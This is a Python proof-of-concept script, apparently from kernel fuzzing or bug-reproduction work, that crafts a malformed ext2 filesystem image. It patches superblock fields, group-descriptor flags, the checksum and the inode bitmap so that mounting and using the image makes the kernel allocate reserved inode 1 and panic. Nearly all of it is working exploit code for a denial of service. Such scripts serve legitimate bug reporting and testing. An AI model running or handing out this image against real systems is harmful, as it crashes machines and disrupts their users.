DF-3066 / craft3066.py
#!/usr/bin/env python3 """Craft the DF-3066 trigger image. Same geometry family as DF-3062 but ipg=12 (>= 8, so the buggy memset gets length 0 and is harmless). EXT2_BG_INODE_UNINIT is set, and the ON-DISK inode-bitmap byte 0 is zeroed: the kernel treats uninit bitmap contents as authoritative, never marks reserved inodes (1..first_ino) as used, and the scan hands out inode 1. The dirent for the new file then points at reserved inode 1; the next lookup -> ext2_vget(1) -> bread/getblk hits the bgetvp overlapping-buffer panic (observed as panic.bgetvp-followup.txt during the DF-3062 fixed run). Usage: craft3066.py <out.img> """ import struct, subprocess, sys SB = 1024 def crc16_tab(): tab = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1 tab.append(c) return tab TAB = crc16_tab() def crc16(buf, crc): for b in buf: crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF return crc def gd_csum(uuid, cg, gd): crc = crc16(uuid, 0xFFFF) crc = crc16(struct.pack('<I', cg), crc) crc = crc16(gd[0:30], crc) return crc def main(out): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '4096', '-I', '1024', '-N', '16', out, '1024'], check=True) f = open(out, 'r+b') f.seek(SB); sb = bytearray(f.read(1024)) def p32(o, v): struct.pack_into('<I', sb, o, v) def p16(o, v): struct.pack_into('<H', sb, o, v) def u32(o): return struct.unpack_from('<I', sb, o)[0] bsize = 1024 << u32(0x18) uuid = bytes(sb[0x68:0x78]) p32(0x10, 12) # s_free_inodes_count = 12 p32(0x28, 12) # s_inodes_per_group = 12 (>= ipb=4; >=8) ro = u32(0x64) p32(0x64, ro | 0x0010) # GDT_CSUM f.seek(2 * bsize if bsize == 1024 else bsize); gd = bytearray(f.read(32)) struct.pack_into('<H', gd, 14, 12) # nifree = 12 flags = struct.unpack_from('<H', gd, 18)[0] struct.pack_into('<H', gd, 18, flags | 1) # INODE_UNINIT struct.pack_into('<H', gd, 28, 0) struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd)) gdblk = 2 if bsize == 1024 else 1 f.seek(gdblk * bsize); f.write(gd) ibmp = struct.unpack_from('<I', gd, 4)[0] f.seek(ibmp * bsize); bm = bytearray(f.read(bsize)) bm[0] = 0x00 # inodes 1..8 "free" per garbage uninit bitmap f.seek(ibmp * bsize); f.write(bm) f.seek(SB); f.write(sb) f.close() print(f"craft3066: ipg=12 uninit bitmap byte0=0 => ino 1 allocatable") print(f"OK wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |